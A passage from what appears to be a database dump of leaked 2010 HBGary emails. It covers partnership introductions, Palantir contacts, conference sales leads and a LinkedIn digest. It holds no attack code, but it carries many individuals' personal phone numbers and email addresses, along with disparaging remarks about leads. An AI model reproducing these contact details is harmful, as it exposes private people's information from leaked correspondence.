PRODUCTS\r\n>> 3) add link to FEDERAL on top bar\r\n>>  \r\n>> -G\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkwieh4ACgkQWw/TEDXzQNMsFwCfQI85GFI0yL71w0ed0rvwHvJc\r\nx6cAn0LuAxGgSO44byiuOS/eVHzgc18N\r\n=XCQB\r\n-----END PGP SIGNATURE-----\r\n',12184,'aaron_hbgary_com/12184.html'),(7709,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005952.M666649P14101Q2564.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Re: Colleague Needs Info on Palantir','Sure.  Have him give me a call.7195108478Sent from my iPadOn Jun 23, 2010, at 5:04 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\nHi Aaron, Several years ago when I worked at Merritt Group, I did PR for a company called SPI Dynamics, which was founded by Caleb Sima. The company got bought by HP a year or two ago. Caleb went to HP, left and now founded a new company called Armorize http://armorize.com/. He wanted to learn more about our partnership with Palantir and about Palantir itself. He is a friend of mine on Facebook. Penny suggested you might be a good person for him to talk to. If not, that&#39;s fine. Thanks, Karen  \r\n\r\n',488,'aaron_hbgary_com/488.html'),(7710,'2010-06-23','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297005953.M324179P14101Q2565.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Colleague Needs Info on Palantir','Thanks Aaron. Best, Karen\r\nOn Wed, Jun 23, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nSure.  Have him give me a call.\r\n7195108478Sent from my iPad\r\n\r\nOn Jun 23, 2010, at 5:04 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n\r\nHi Aaron, Several years ago when I worked at Merritt Group, I did PR for a company called SPI Dynamics, which was founded by Caleb Sima. The company got bought by HP a year or two ago. Caleb went to HP, left and now founded a new company called Armorize http://armorize.com/. He wanted to learn more about our partnership with Palantir and about Palantir itself. He is a friend of mine on Facebook. Penny suggested you might be a good person for him to talk to. If not, that&#39;s fine. Thanks, Karen  \r\n\r\n',7944,'aaron_hbgary_com/7944.html'),(7711,'2010-06-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005953.M568607P14101Q2566.eml','\"Shaun S. Amini\" <samini@C5i.com>,\"Shaun S. Amini\" <samini@C5i.com>,','RE: Meet Shaun@c5i','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, sounds good.&nbsp; Bob Slapnik\r\ndeals with Gov&#8217;t contractors and SI&#8221;s for resale or private label.&nbsp; Aaron Barr\r\nis CEO of HBGary Federal and provides services to the gov&#8217;t.&nbsp; Both are located\r\nin DC area\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shaun S. Amini\r\n[mailto:samini@C5i.com] \r\nSent: Wednesday, June 23, 2010 2:27 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe chatted quite a bit and had a\r\ngreat dinner J.&nbsp; We essentially need to connect with your new\r\nFederal services side of the house and he has already made some intros and we\r\nC5i need to learn more about your tools as we may want to resell the products\r\nor private label them. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nShaun\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 23, 2010 5:24 PM\r\nTo: \'Riley Hassell\'\r\nCc: Shaun S. Amini\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Shaun,\r\n\r\n&nbsp;\r\n\r\nI think Greg mentioned you two\r\ngot together when he was out in DC&gt;&nbsp; Did you guys resolve anything?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Riley Hassell\r\n[mailto:riley@endgames.us] \r\nSent: Tuesday, June 22, 2010 7:38 AM\r\nTo: penny@hbgary.com\r\nCc: shaun@c5i.com\r\nSubject: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHey Penny,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce you to Shaun Amini. &nbsp;We met\r\nseveral years ago in Poland and have worked together since. His company, c5i\r\nworks in the federal space and has current and potential service offerings that\r\nI thought would complement HBGary and vice versa for c5i. &nbsp;You two should\r\nhave a quick chat sometime and see if there is a fit.\r\n\r\n&nbsp;\r\n\r\n-R\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3823,'aaron_hbgary_com/3823.html'),(7712,'2010-06-23','\"Shaun S. Amini\" <samini@C5i.com>','/aaron@hbgary.com/new/1297005953.M803385P14101Q2567.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','RE: Meet Shaun@c5i','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you Penny.&nbsp; I knee deep working\r\non a few proposals, but will get reach out to Bob and Aaron in a couple of\r\nweeks. \r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\nShaun Amini\r\n\r\nPresident &amp;\r\nCEO\r\n\r\nC5i Federal,\r\nInc.\r\n\r\n703 480-4680 -\r\nDirect\r\n\r\n703 435-2600 -\r\nMain\r\n\r\n571 203-9300 -\r\nFax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis transmission\r\nmay contain information that is privileged, confidential, legally privileged, and/or\r\nexempt from disclosure under applicable law.&nbsp; If you are not the intended\r\nrecipient, you are hereby notified that any disclosure, copying, distribution,\r\nor use of the information contained herein (including any reliance thereon) is\r\nSTRICTLY PROHIBITED.&nbsp; Although this transmission and any attachments are\r\nbelieved to be free of any virus or other defect that might affect any computer\r\nsystem into which it is received and opened, it is the responsibility of the\r\nrecipient to ensure that it is virus free and no responsibility is accepted by\r\nC5i Corporation, its subsidiaries and affiliates, as applicable, for any loss\r\nor damage arising in any way from its use.&nbsp; If you received this\r\ntransmission in error, please immediately contact the sender and destroy the material\r\nin its entirety, whether in electronic or hard copy format.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 23, 2010 5:44 PM\r\nTo: Shaun S. Amini\r\nCc: bob@hbgary.com; \'Aaron Barr\'\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, sounds good.&nbsp; Bob\r\nSlapnik deals with Gov&#8217;t contractors and SI&#8221;s for resale or private\r\nlabel.&nbsp; Aaron Barr is CEO of HBGary Federal and provides services to the\r\ngov&#8217;t.&nbsp; Both are located in DC area\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shaun S. Amini\r\n[mailto:samini@C5i.com] \r\nSent: Wednesday, June 23, 2010 2:27 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe chatted quite a bit and had a\r\ngreat dinner J.&nbsp; We essentially need to connect with your new\r\nFederal services side of the house and he has already made some intros and we\r\nC5i need to learn more about your tools as we may want to resell the products\r\nor private label them. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nShaun\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 23, 2010 5:24 PM\r\nTo: \'Riley Hassell\'\r\nCc: Shaun S. Amini\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Shaun,\r\n\r\n&nbsp;\r\n\r\nI think Greg mentioned you two\r\ngot together when he was out in DC&gt;&nbsp; Did you guys resolve anything?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Riley Hassell\r\n[mailto:riley@endgames.us] \r\nSent: Tuesday, June 22, 2010 7:38 AM\r\nTo: penny@hbgary.com\r\nCc: shaun@c5i.com\r\nSubject: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHey Penny,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce you to Shaun Amini. &nbsp;We met several\r\nyears ago in Poland and have worked together since. His company, c5i works in\r\nthe federal space and has current and potential service offerings that I\r\nthought would complement HBGary and vice versa for c5i. &nbsp;You two should\r\nhave a quick chat sometime and see if there is a fit.\r\n\r\n&nbsp;\r\n\r\n-R\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6123,'aaron_hbgary_com/6123.html'),(7713,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005954.M423551P14101Q2569.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> It would be somewhere around 7...\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 22, 2010 9:30 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Dave,\r\n>\r\n> I forgot to send you Greg\'s presentation.\r\n>\r\n> Do you have time to grab a drink after work on Friday?\r\n>\r\n> Aaron\r\n>\r\n',7769,'aaron_hbgary_com/7769.html'),(7714,'2010-06-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005954.M66823P14101Q2568.eml','\"Shaun S. Amini\" <samini@C5i.com>,\"Shaun S. Amini\" <samini@C5i.com>,','RE: Meet Shaun@c5i','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem, just wanted to make\r\nsure you had their emails\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shaun S. Amini\r\n[mailto:samini@C5i.com] \r\nSent: Wednesday, June 23, 2010 2:46 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: bob@hbgary.com; \'Aaron Barr\'\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank you Penny.&nbsp; I knee\r\ndeep working on a few proposals, but will get reach out to Bob and Aaron in a\r\ncouple of weeks. \r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\nShaun Amini\r\n\r\nPresident &amp;\r\nCEO\r\n\r\nC5i Federal,\r\nInc.\r\n\r\n703 480-4680 -\r\nDirect\r\n\r\n703 435-2600 -\r\nMain\r\n\r\n571 203-9300 -\r\nFax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis transmission\r\nmay contain information that is privileged, confidential, legally privileged,\r\nand/or exempt from disclosure under applicable law.&nbsp; If you are not the\r\nintended recipient, you are hereby notified that any disclosure, copying,\r\ndistribution, or use of the information contained herein (including any\r\nreliance thereon) is STRICTLY PROHIBITED.&nbsp; Although this transmission and\r\nany attachments are believed to be free of any virus or other defect that might\r\naffect any computer system into which it is received and opened, it is the\r\nresponsibility of the recipient to ensure that it is virus free and no\r\nresponsibility is accepted by C5i Corporation, its subsidiaries and affiliates,\r\nas applicable, for any loss or damage arising in any way from its use.&nbsp; If\r\nyou received this transmission in error, please immediately contact the sender\r\nand destroy the material in its entirety, whether in electronic or hard copy\r\nformat.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 23, 2010 5:44 PM\r\nTo: Shaun S. Amini\r\nCc: bob@hbgary.com; \'Aaron Barr\'\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, sounds good.&nbsp; Bob\r\nSlapnik deals with Gov&#8217;t contractors and SI&#8221;s for resale or private\r\nlabel.&nbsp; Aaron Barr is CEO of HBGary Federal and provides services to the\r\ngov&#8217;t.&nbsp; Both are located in DC area\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shaun S. Amini\r\n[mailto:samini@C5i.com] \r\nSent: Wednesday, June 23, 2010 2:27 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe chatted quite a bit and had a\r\ngreat dinner J.&nbsp; We essentially need to connect with your new\r\nFederal services side of the house and he has already made some intros and we\r\nC5i need to learn more about your tools as we may want to resell the products\r\nor private label them. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nShaun\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 23, 2010 5:24 PM\r\nTo: \'Riley Hassell\'\r\nCc: Shaun S. Amini\r\nSubject: RE: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Shaun,\r\n\r\n&nbsp;\r\n\r\nI think Greg mentioned you two got\r\ntogether when he was out in DC&gt;&nbsp; Did you guys resolve anything?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Riley Hassell\r\n[mailto:riley@endgames.us] \r\nSent: Tuesday, June 22, 2010 7:38 AM\r\nTo: penny@hbgary.com\r\nCc: shaun@c5i.com\r\nSubject: Meet Shaun@c5i\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHey Penny,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce you to Shaun Amini. &nbsp;We met\r\nseveral years ago in Poland and have worked together since. His company, c5i\r\nworks in the federal space and has current and potential service offerings that\r\nI thought would complement HBGary and vice versa for c5i. &nbsp;You two should have\r\na quick chat sometime and see if there is a fit.\r\n\r\n&nbsp;\r\n\r\n-R\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14925,'aaron_hbgary_com/14925.html'),(7715,'2010-06-23','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297005954.M777755P14101Q2570.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: NICE PRESS!','If you have time to chat tonight/tomorrow can you give me a buzz, I\'ve got a prop for you. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matthew Steckman\r\nCc: Trae Stephens\r\nSubject: Re: NICE PRESS!\r\nSent: Jun 23, 2010 9:36 AM\r\n\r\nThanks.  Yes he is.\r\n\r\nHe previewed this talk at the NSA REBL conference last week.  I gave a talk on Social Networking, Exploitation, and Persistent Internet Operations.  I was just told this morning that our two talks received the strongest positive feedback of all the talks.  Attached is my slides for that presentation.  I am talking with 1st IO, NSA IA, and OSD this week about New Media and the vulnerabilities it creates for organizations.\r\n\r\nWe are developing a curriculum to offer organizations on New Media.  We are also going to start working on a new media mapping capability leveraging Fidelis XPS and HBGary Active Defense.  Things are just too slow going because I don\'t have the work yet to hire enough people for what I want to do but we will get there.  New Media is the new and future exploitation vehicle and I hope to ride the front of that wave (on both sides). \r\n\r\nHey how about a Pong challenge next Friday.  I will make sure Bob is there.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Jun 23, 2010, at 9:18 AM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n>  \r\n> Kudos: http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfd/\r\n>  \r\n> Greg is going to crush it at BlackHat.\r\n>  \r\n> Best,\r\n> Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3507,'aaron_hbgary_com/3507.html'),(7716,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005955.M14240P14101Q2571.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: NICE PRESS!','Sure, I\'ll call you in the morning.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 23, 2010, at 7:40 PM, Matthew Steckman \r\nwrote:\r\n\r\n> If you have time to chat tonight/tomorrow can you give me a buzz,\r\n> I\'ve got a prop for you.\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matthew Steckman\r\n> Cc: Trae Stephens\r\n> Subject: Re: NICE PRESS!\r\n> Sent: Jun 23, 2010 9:36 AM\r\n>\r\n> Thanks.  Yes he is.\r\n>\r\n> He previewed this talk at the NSA REBL conference last week.  I gave\r\n> a talk on Social Networking, Exploitation, and Persistent Internet\r\n> Operations.  I was just told this morning that our two talks\r\n> received the strongest positive feedback of all the talks.  Attached\r\n> is my slides for that presentation.  I am talking with 1st IO, NSA\r\n> IA, and OSD this week about New Media and the vulnerabilities it\r\n> creates for organizations.\r\n>\r\n> We are developing a curriculum to offer organizations on New Media.\r\n> We are also going to start working on a new media mapping capability\r\n> leveraging Fidelis XPS and HBGary Active Defense.  Things are just\r\n> too slow going because I don\'t have the work yet to hire enough\r\n> people for what I want to do but we will get there.  New Media is\r\n> the new and future exploitation vehicle and I hope to ride the front\r\n> of that wave (on both sides).\r\n>\r\n> Hey how about a Pong challenge next Friday.  I will make sure Bob is\r\n> there.\r\n>\r\n> Aaron\r\n>\r\n>\r\n>\r\n>\r\n> On Jun 23, 2010, at 9:18 AM, Matthew Steckman wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Kudos: http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfd/\r\n>>\r\n>> Greg is going to crush it at BlackHat.\r\n>>\r\n>> Best,\r\n>> Matt\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantir.com | 202-257-2270\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',11376,'aaron_hbgary_com/11376.html'),(7717,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005955.M222629P14101Q2572.eml','\"Bob Slapnik\" <bob@hbgary.com>','Pong challenge','Bob,\r\n\r\nPut it on your calendar 3 Fridays from now a ping pong challenge at\r\npalantir.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',7683,'aaron_hbgary_com/7683.html'),(7718,'2010-06-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005955.M532474P14101Q2573.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: FIRST.ORG leads','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWho was the FBI contact that came to the booth, Maria needs to follow\r\nup\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, June 23, 2010 6:28 PM\r\nTo: \'Maria Lucas\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: RE: FIRST.ORG leads\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nHere are more FIRST leads&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nAaron and Rich said a guy from FBI came by the booth when I\r\nwasn&#8217;t there.&nbsp; I did not get his contact info.&nbsp; They both thought he\r\nwas a&nbsp; strong prospect.\r\n\r\n&nbsp;\r\n\r\nLauri Korts-Pärn\r\n\r\nChief\r\nTechnical Officer\r\n\r\nCyber\r\nDefense Institute, Inc.\r\n\r\nCTN\r\nBuilding, 4th Floor, 2-2-5, Kanda Suda cho,\r\n\r\nChiyoda-ku,\r\nTokyo, Japan 101-0041\r\n\r\nTel:&nbsp;\r\n81 3 5209 4336\r\n\r\nEmail:&nbsp;\r\nlauri@cyberdefense.jp\r\n\r\nHe\r\nis a European guy living in Japan.&nbsp; Has good English.&nbsp; A young\r\nman.&nbsp; Does offensive work and software fuzzing.&nbsp; Interested in REcon\r\nfor software vulnerability and exploitation analysis.&nbsp; Two follow up\r\nitems:&nbsp; (1) Send him REcon for Exploitation whitepaper and (2) send\r\nResponder Pro + REcon eval instructions.\r\n\r\n&nbsp;\r\n\r\nHiroki\r\nIwai\r\n\r\nChief\r\nof Computer Security Laboratory\r\n\r\nRisk\r\nResearch Institute of Cyber Space\r\n\r\nComputer\r\nSecurity Laboratory\r\n\r\nLittle\r\neArth Corporation Co., Ltd.\r\n\r\nHirakawacho\r\nMori Tower\r\n\r\n2-16-1,\r\nHirakawa-cho, Chiyoda-ku\r\n\r\nTokyo,\r\n102-0093, Japan\r\n\r\nTel:&nbsp;\r\n81 3 6757 0120\r\n\r\nMobile:&nbsp;\r\n81 80 5871 8400\r\n\r\niwai@lac.co.jp\r\n\r\nLousy\r\nEnglish.&nbsp; Said 2 years ago that R Pro didn&#8217;t see DKOM rootkit.&nbsp; Asked\r\nfor AD eval.\r\n\r\n&nbsp;\r\n\r\nJunichi Hatta\r\n\r\nResearcher\r\n\r\nRisk\r\nResearch Institute of Cyber Space\r\n\r\nComputer\r\nSecurity Laboratory\r\n\r\nSame\r\naddress and phone as above\r\n\r\njunichi.hatta@lac.co.jp\r\n\r\nLousy\r\nEnglish.&nbsp; Said 2 years ago that R Pro didn&#8217;t see DKOM rootkit.&nbsp; Asked\r\nfor AD eval.\r\n\r\n&nbsp;\r\n\r\nChunyang Yuan\r\n\r\nSenior Engineer\r\n\r\nNational Computer Network Emergency Response Technical Team\r\n\r\nCoordination Center of China\r\n\r\nTel:&nbsp; 8610 8299 0311\r\n\r\nMobile:&nbsp; 8613910771755\r\n\r\nEmail:&nbsp; ycy@cert.org.cn\r\n\r\nProbably not a good idea to work with this guy\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, June 23, 2010 1:47 PM\r\nTo: Bob Slapnik\r\nCc: Penny C. Hoglund\r\nSubject: FIRST.ORG leads\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nare there anymore leads from FIRST and Symantec?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\ni have Sandia and NASA and have followed up on both\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTHANKS\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2955 - Release Date: 06/23/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12658,'aaron_hbgary_com/12658.html'),(7719,'2010-06-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005955.M971283P14101Q2574.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Pong challenge','You mean July 9th?  Dude, it is going to be ugly.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 8:38 PM\r\nTo: Bob Slapnik\r\nSubject: Pong challenge\r\n\r\nBob,\r\n\r\nPut it on your calendar 3 Fridays from now a ping pong challenge at\r\npalantir.\r\n\r\nAaron\r\n\r\n From my iPhone\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2955 - Release Date: 06/23/10\r\n02:36:00\r\n\r\n',13879,'aaron_hbgary_com/13879.html'),(7720,'2010-06-24','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297005956.M725544P14101Q2575.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 6/23/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      \r\n        \r\n          LinkedIn\r\n    \r\n      Network Updates, Jun 16 - Jun 23\r\n    \r\n          \r\n          \r\n        \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        PROFILE\r\n  \r\n    \r\n    \r\n      View all Network Updates\r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n      Christopher Barnett\r\n                   has an updated profile (Experience)\r\n            \r\n            \r\n\r\n\r\n\r\n      Dino Dai Zovi\r\n                   has an updated profile (Experience)\r\n            \r\n            \r\n\r\n\r\n\r\n      Gary Elliott, M.S., PMP, NSA 4011\r\n                    has an updated current title: Strategic Cybersecurity Lead at Confidential Company\r\n                  Send note &#187;\r\n            \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        CONNECTIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  Shane Shook\r\nis now connected to\r\n            Andrea Jaime\r\n,             Kevin Spease\r\n,             Shannon Lydell Carter, MBA Technology Management\r\n,       and 1 other person.\r\n            \r\n            \r\n\r\n  Robert Giesler\r\nis now connected to\r\n            John Frey\r\n             and \r\n            Ray Piluso\r\n             \r\n            \r\n            \r\n\r\n  Dr. Paul Nemirovsky\r\nis now connected to\r\n            Steve Winings\r\n             and \r\n            Iana Bohmer\r\n             \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        POSTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving Lachow\r\nMet with CBP CIO today.  Impressive guy.  Talk about a tough job!      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Toth\r\nMissing C-Clamps just arrived from West Coast to take to our camera guy. Now to fit in 4-meter black cloth, light panels, cable, plugs, etc.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nShane Shook\r\nattack of the Trojans, bot zombies, and worms - sounds like science fiction... whitelists anyone?      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        GROUPS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  George Hull has joined 2 groups, including\r\n      \r\n      CXO Community\r\n      and\r\n      CiOzone Research Network\r\n            \r\n            \r\n\r\n  Richard Lee has joined 2 groups, including\r\n      \r\n      CACI Intelligence\r\n      and\r\n      CACI Engineering\r\n            \r\n            \r\n\r\n    Scott Sheldon has joined\r\n    Comprehensive National Cybersecurity Initiative (CNCI)\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n        \r\n        RECOMMENDATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n      Jeff McCartney was recommended by\r\ncolleague      Eric Hallam\r\n        Jeff has the ability to tackle nearly any task given to him, he is very creative in his approach to ...\r\n        Read more\r\n\r\n            \r\n            \r\n\r\n\r\n    Eric Hallam recommends\r\ncolleague      Jeff McCartney\r\n          Software Developer 